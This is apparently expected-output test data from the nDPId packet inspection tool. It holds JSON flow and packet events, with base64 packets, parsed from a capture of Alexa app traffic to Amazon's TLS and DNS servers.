+00736{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":971,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":68,"flow_packet_id":4,"flow_first_seen":1490976071286,"flow_last_seen":1490976071365,"flow_tot_l4_data_len":347,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":86,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45693,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":972,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":72,"flow_packet_id":1,"flow_first_seen":1490976071380,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45696,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":72,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":972,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":380614,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8Ky9AAEAGG8CsECrYNF7ohrKAAbueQXEdAAAAAKAC\/\/81bwAAAgQFtAQCCAoA9loyAAAAAAEDAwg="} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":973,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":73,"flow_packet_id":1,"flow_first_seen":1490976071385,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45697,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":73,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":973,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":385523,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8fzdAAEAGx7esECrYNF7ohrKBAbt+UyUFAAAAAKAC\/\/+hdAAAAgQFtAQCCAoA9loyAAAAAAEDAwg="} +00500{"flow_id":70,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":974,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":389601,"pkt_caplen":115,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":115,"pkt_l4_len":81,"pkt":"ePiC0\/vCAMDKkaPvCABFAABl2DBAAEARtV2sECoBrBAq2AA1YfkAUYstBuuBgAABAAIAAAAABWFsZXhhBmFtYXpvbgNjb20AAAEAAcAMAAUAAQAAADUACwhwaXRhbmd1acASwC4AAQABAAAANQAENF7ohg=="} +00688{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":974,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":70,"flow_packet_id":2,"flow_first_seen":1490976071312,"flow_last_seen":1490976071389,"flow_tot_l4_data_len":123,"flow_min_l4_data_len":42,"flow_max_l4_data_len":81,"flow_avg_l4_data_len":61,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":25081,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.AmazonAlexa","breed":"Acceptable","category":"VirtualAssistant"},"dns": {"query":"alexa.amazon.com","num_queries":1,"num_answers":2,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"52.94.232.134"}} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":975,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":74,"flow_packet_id":1,"flow_first_seen":1490976071392,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":59698,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":74,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":975,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":392707,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8hllAAEAGwJWsECrYNF7ohukyAbtO5dxqAAAAAKAC\/\/\/iygAAAgQFtAQCCAoA9lozAAAAAAEDAwg="} +00427{"flow_id":72,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":976,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":431100,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwichAAOcGFjI0XuiGrBAq2AG7soCzlhpDnkFxHnASH\/7eyAAAAgQFtAEDAwY="} +02382{"flow_id":69,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":977,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":432100,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXcbd1AAOcGLHE0XuiGrBAq2AG7sn5peFknyPjBslAYf\/lsuQAAFgMBDLwCAABGAwFY3n1HWF0PVS6Hh\/OB54ewWN7EQ\/JAGtKcxvduR4tcQiB4kgfiZLrEZoIvfOT\/tQMGZLL4w9FhfVsGJHEZL4q82wAvAAsADGoADGcAByUwggchMIIGCaADAgECAhAcRU2OfD5RXVxbu\/\/vTuNvMA0GCSqGSIb3DQEBCwUAMH4xCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRTeW1hbnRlYyBDb3Jwb3JhdGlvbjEfMB0GA1UECxMWU3ltYW50ZWMgVHJ1c3QgTmV0d29yazEvMC0GA1UEAxMmU3ltYW50ZWMgQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzQwHhcNMTcwMTEyMDAwMDAwWhcNMTgwMTEzMjM1OTU5WjBtMQswCQYDVQQGEwJVUzETMBEGA1UECAwKV2FzaGluZ3RvbjEQMA4GA1UEBwwHU2VhdHRsZTEZMBcGA1UECgwQQW1hem9uLmNvbSwgSW5jLjEcMBoGA1UEAwwTcGl0YW5ndWkuYW1hem9uLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJYBiz7+LgeGD3Pa4IJcJ09bhuxaGQSx+xajoPkJc5erzMpRRS1Ah2pufryf6dws05DN70Qan0Ob6GrLw2\/HxaGvneCRZhiBGyUMFBcJjk1AKw9+Nf1hXE48DlafnWpGrqpfYt2zsG+eRrhPeKWj+oj0pEgYLwOn\/a4xa6m8CUPuQAn6\/wNlnTqVyC\/SG0Yol6GVytCBUh+TZofarTRdpyUAS308UAcUFDf6BimC5d5mYn2J5R4k65+6sdF0Lg5T\/DhNiIsjt\/imBX+pqRiOG+KKP+QbbicThn04ySXzkSx\/F+UEKU29ls2FzrMVLknBH7eb59tKsTdRgaRpZOW3joUCAwEAAaOCA6owggOmMIIBVgYDVR0RBIIBTTCCAUmCE3BpdGFuZ3VpLmFtYXpvbi5jb22CE2d1aXBpdGFuLmFtYXpvbi5jb22CEGFsZXhhLmFtYXpvbi5jb22CD2VjaG8uYW1hem9uLmNvbYIPYWxleGEuYW1hem9uLmNhghJndWlwaXRhbi5hbWF6b24uY2GCEmFsZXhhLmFtYXpvbi5jby5qcIIVZ3VpcGl0YW4uYW1hem9uLmNvLmpwghNhbGV4YS5hbWF6b24uY29tLm14ghZndWlwaXRhbi5hbWF6b24uY29tLm14ghNhbGV4YS5hbWF6b24uY29tLmJyghZndWlwaXRhbi5hbWF6b24uY29tLmJyghNhbGV4YS5hbWF6b24uY29tLmF1ghZndWlwaXRhbi5hbWF6b24uY29tLmF1gg9hbGV4YS5hbWF6b24uY26CEmd1aXBpdGFuLmFtYXpvbi5jbjAJBgNVHRMEAjAAMA4GA1UdDwEB\/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwYQYDVR0gBFowWDBWBgZngQwBAgIwTDAjBggrBgEFBQcCARYXaHR0cHM6Ly9kLnN5bWNiLmNvbS9jcHMwJQYIKwYBBQUHAgIwGQwXaHR0cHM6Ly9kLnN5bWNiLmNvbS9ycGEwHwYDVR0jBBgwFoAUX2DPYZBV34RDFIpgKrL1evRDGO8wKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL3NzLnN5bWNiLmNvbS9zcy5jcmwwVwYIKwYBBQUHAQEESzBJMB8GCCsGAQUFBzABhhNodHRwOi8vc3Muc3ltY2QuY29tMCYGCCsGAQUFBzAChhpodHRwOi8vc3Muc3ltY2IuY29tL3NzLmNydDCCAQQGCisGAQQB1nkCBAIEgfUEgfIA8AB1AN3rHSt6DU+mIIuBrYFocH4ujp0B1VyIjT0RxM227L7MAAABWZBMcQIAAAQDAEYwRAIgKRWoVVA="} +02382{"flow_id":69,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":978,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":432413,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXcbd9AAOcGLG80XuiGrBAq2AG7sn5peF7byPjBslAYf\/lniwAAjFI1u1wWl1G2XSDRRsDgI05xF\/R2SRNbNYayAiBoL+6shVDZBDW9cxLOAAPLGwr35RrKdMLHjy3gwdZfEgB3AKS5CZC0GFgUh7sTosxncAo8NZgE+RvfuON3zQ7IDdwQAAABWZBMcTwAAAQDAEgwRgIhALW9429CqWlJmY7bsqgu877wDiK6qslUq22hmi82aGQuAiEA2sOA1mIiLp7MIPis4\/n9ebUdQVRvG4dTZRoBrrVuMJswDQYJKoZIhvcNAQELBQADggEBAGYgKBIO9j5PJS1o\/wh6NT0DbzNhpExM4s36xlh\/fdFoLOzD3MnFCJ92BlxhyyvXuoWU5uoJMfpq+5QaGibLkf7L6tpnIbnlsv4eXNCJnZsn\/YBiXZkzN8b0IMudSLmP1WtQYDl4qM4g+dti6uq\/rY1mAvLnRMTSDUWsocTd+dUcSc5G9RwVrTdrCca7zCZA+MaMWAROzv86e0RCAZWlVC3xvQC\/4FJLnaRjBmVXMbodATyrnvRkt3AgTo9sdFFTCD3TqzZ4hhKNo+3kKUQSzvXWIBA1lvWZEvNmv9bA1\/cd7RNj4GLWLyUls2RjBH8NrYvZUa7GVTRCoAo+oCutXFUABTwwggU4MIIEIKADAgECAhBRP7l0OHC3NEBBjTCTBpn\/MA0GCSqGSIb3DQEBCwUAMIHKMQswCQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdvcmsxOjA4BgNVBAsTMShjKSAyMDA2IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxRTBDBgNVBAMTPFZlcmlTaWduIENsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHNTAeFw0xMzEwMzEwMDAwMDBaFw0yMzEwMzAyMzU5NTlaMH4xCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRTeW1hbnRlYyBDb3Jwb3JhdGlvbjEfMB0GA1UECxMWU3ltYW50ZWMgVHJ1c3QgTmV0d29yazEvMC0GA1UEAxMmU3ltYW50ZWMgQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCy2AXKHHQttRdWOcVKUgmW6EvYDPFon5pCKGLDpTBTflURglsDeg0v4XkEybSWdxmBAZRZ+bz3epkngi23g91aJ3+yA3qcUyXpSB9GT8idKfi+eVb29\/3ZOmjai0uCM0ESw8g8zNaWeoQhGiIEAycXixxoYZMPDlGAMx20tc7rftBirO6zewF072k168rVPanul5jKjapEDiWZShWWpM5tAlQfKmom4gY6Y0istEzRdZNQ\/xMv1trhxhj1n8klXfMAOt4mTbQpCc0PPSNvFkqBFvvygxDDuNbYVTI98b0PvYxSlUoWl3pSIWN1Lxb5xGa+9bUJ2P8nAM1EfG9LP7D3AgMBAAGjggFjMIIBXzASBgNVHRMBAf8ECDAGAQH\/AgEAMDAGA1UdHwQpMCcwJaAjoCGGH2h0dHA6Ly9zMS5zeW1jYi5jb20vcGNhMy1nNS5jcmwwDgYDVR0PAQH\/BAQDAgEGMC8GCCsGAQUFBwEBBCMwITAfBggrBgEFBQcwAYYTaHR0cDovL3MyLnN5bWNiLmNvbTBrBgNVHSAEZDBiMGAGCmCGSAGG+EUBBzYwUjAmBggrBgEFBQcCARYaaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9jcHMwKAYIKwYBBQUHAgIwHBoaaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9ycGEwKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVN5bWFudGVjUEtJLTEtNTM="} +00886{"flow_id":69,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":979,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":432488,"pkt_caplen":399,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":399,"pkt_l4_len":365,"pkt":"ePiC0\/vCAMDKkVoBCABFAAGBbeFAAOcGMMg0XuiGrBAq2AG7sn5peGSPyPjBslAYf\/m88wAANDAdBgNVHQ4EFgQUX2DPYZBV34RDFIpgKrL1evRDGO8wHwYDVR0jBBgwFoAUf9Nlp8Ld7LvwMAnzQzn6Aq8zMTMwDQYJKoZIhvcNAQELBQADggEBAF6UVkndji1l9cE2UbYD49qecxnyH1mrWH5sJgUs+oHXXCMXIiw3k\/eG7IXmsKP9H+IyqEVv4dn7ua\/ScKAyQmW\/hP4WKo8\/xabWo5N9Q+l0IZE1KPRj6S7t9\/Vcf0uatSDpCr3gRRAMFJSaXaXjS5HoJJtGQGX0InLNmfiIEfXzf+YzguaoxX7+0AjiJVgIcWjmzaLmFN5OUiQt\/eV5E1PnXi8tTRttQBVSK\/eHiXgSgW7ZTaoteNTCLD0IX4eRnh8OsN4wUmSGiaqdZpwOdgyA8nTYKvi4Os7X1g8RvmurFPW9QaAiY4nxug9vKWNmLT+sjHLF+8fk1A\/yO0+MKccOAAAA"} +01460{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":979,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":69,"flow_packet_id":7,"flow_first_seen":1490976071306,"flow_last_seen":1490976071432,"flow_tot_l4_data_len":3640,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45694,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"pitangui.amazon.com","server_names":"pitangui.amazon.com,guipitan.amazon.com,alexa.amazon.com,echo.amazon.com,alexa.amazon.ca,guipitan.amazon.ca,alexa.amazon.co.jp,guipitan.amazon.co.jp,alexa.amazon.com.mx,guipitan.amazon.com.mx,alexa.amazon.com.br,guipitan.amazon.com.br,alexa.amazon.com.au,guipitan.amazon.com.au,alexa.amazon.cn,guipitan.amazon.cn","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"18e962e106761869a61045bed0e81c2c","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_128_CBC_SHA","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=US, ST=Washington, L=Seattle, O=Amazon.com, Inc., CN=pitangui.amazon.com","alpn":"h2,http\/1.1","fingerprint":"13:E9:3B:22:22:61:41:53:CA:B6:3A:AE:C8:B7:23:FB:A5:11:2F:24"}} +00414{"flow_id":72,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":980,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":433534,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoKzBAAEAGG9OsECrYNF7ohrKAAbueQXEes5YaRFAQAVcpOgAA"} +00414{"flow_id":69,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":981,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":433800,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAomstAAEAGrDesECrYNF7ohrJ+AbvI+MGyaXhe21AQAWKzbAAA"} +00414{"flow_id":69,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":982,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":434031,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAomsxAAEAGrDasECrYNF7ohrJ+AbvI+MGyaXhkj1AQAW2trQAA"} +00738{"flow_id":72,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":983,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":434199,"pkt_caplen":293,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":293,"pkt_l4_len":259,"pkt":"AMDKkaPvePiC0\/vCCABFAAEXKzFAAEAGGuOsECrYNF7ohrKAAbueQXEes5YaRFAYAVcyZAAAFgMBAOoBAADmAwORwZN3Gg+iPVw7yQc+k6Ude4qIjSThz3bWXaU7z9yE3SCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAgmprMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB9mpoAAP8BAAEAAAAAGAAWAAATcGl0YW5ndWkuYW1hem9uLmNvbQAXAAAAIwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAKAAoACMrKAB0AFwAYenoAAQA="} +00736{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":983,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":72,"flow_packet_id":4,"flow_first_seen":1490976071380,"flow_last_seen":1490976071434,"flow_tot_l4_data_len":347,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":86,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45696,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00415{"flow_id":69,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":984,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":434303,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoms1AAEAGrDWsECrYNF7ohrJ+AbvI+MGyaXhl6FAQAXmsSAAA"} +00860{"flow_id":69,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":985,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":435981,"pkt_caplen":380,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":380,"pkt_l4_len":346,"pkt":"AMDKkaPvePiC0\/vCCABFAAFums5AAEAGqu6sECrYNF7ohrJ+AbvI+MGyaXhl6FAYAXnW3QAAFgMBAQYQAAECAQBJhI5pXt9KUuhYtXZVUTefHIRqb4mPusZhFGh+ntQ1k6GZTpZfcGc0TC5g\/zcEoQUMtm1DrA9KBjJLyTrFuym7ck2XMMF1ybVm7i\/N9brqQebh1dPL4YhjPe43l2GN2Hxk9AW3JPZlQWQYdyR1HD\/8TgWhbFH2ery3rfOhsHpXnkHWo2FVfROnh95Lgqytv\/0smf+Ez3W\/zmXyv6UNpf0c1CoJH9kI757fT0+1d+CgWqerFGIe7e6qvr2Goz9PfVhhOEARCqlPHX8+S4x9x0QfVrcbyWSBi7ZYKDXhDhz1qO2I6BL2oKbcrtNPEi98rMjrZ+QxLUlAN2JVDq8e8DB3FAMBAAEBFgMBADD53gbtexNDlUKXeiGNYz+QUmAU+ebu8AHo6N+yH\/puWb3ah2kVi8CbVfGJIqn0InQ="} +00427{"flow_id":71,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":986,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":438832,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwR+BAAOcGWBo0XuiGrBAq2AG7sn8uyCJ8obvO6XASH\/76GQAAAgQFtAEDAwY="} +00427{"flow_id":73,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":987,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":438967,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwR+FAAOcGWBk0XuiGrBAq2AG7soEpho4ZflMlBnASH\/5hCAAAAgQFtAEDAwY="} +00423{"flow_id":67,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":988,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":439010,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoJp5AANsGhWQ0XuiGrBAq2ABQwcY3D6dHIEe4eFAQf\/PC5gAAAAAAAAAA"} +00415{"flow_id":71,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":989,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":440718,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAolMdAAEAGsjusECrYNF7ohrJ\/Abuhu87pLsgifVAQAVdEiwAA"} +00414{"flow_id":73,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":990,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":440997,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAofzhAAEAGx8qsECrYNF7ohrKBAbt+UyUGKYaOGlAQAVereQAA"} +00739{"flow_id":71,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":991,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":441137,"pkt_caplen":293,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":293,"pkt_l4_len":259,"pkt":"AMDKkaPvePiC0\/vCCABFAAEXlMhAAEAGsUusECrYNF7ohrJ\/Abuhu87pLsgifVAYAVcuOwAAFgMBAOoBAADmAwMlSSyj1sonJu72Ryt7k8+6RtgrzaXQnI0RTQtftkcFSSCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAgKirMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB9KioAAP8BAAEAAAAAGAAWAAATcGl0YW5ndWkuYW1hem9uLmNvbQAXAAAAIwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAKAAoACEpKAB0AFwAYqqoAAQA="} +00736{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":991,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":71,"flow_packet_id":4,"flow_first_seen":1490976071349,"flow_last_seen":1490976071441,"flow_tot_l4_data_len":347,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":86,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45695,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00738{"flow_id":73,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":992,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":441294,"pkt_caplen":293,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":293,"pkt_l4_len":259,"pkt":"AMDKkaPvePiC0\/vCCABFAAEXfzlAAEAGxtqsECrYNF7ohrKBAbt+UyUGKYaOGlAYAVdE2wAAFgMBAOoBAADmAwMyYJ1Vgi7pXUY+w9BYO5x0QgA8tcoAaPoo5I8kMHaIXSCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAgOjrMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB9mpoAAP8BAAEAAAAAGAAWAAATcGl0YW5ndWkuYW1hem9uLmNvbQAXAAAAIwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAKAAoACGpqAB0AFwAYWloAAQA="} 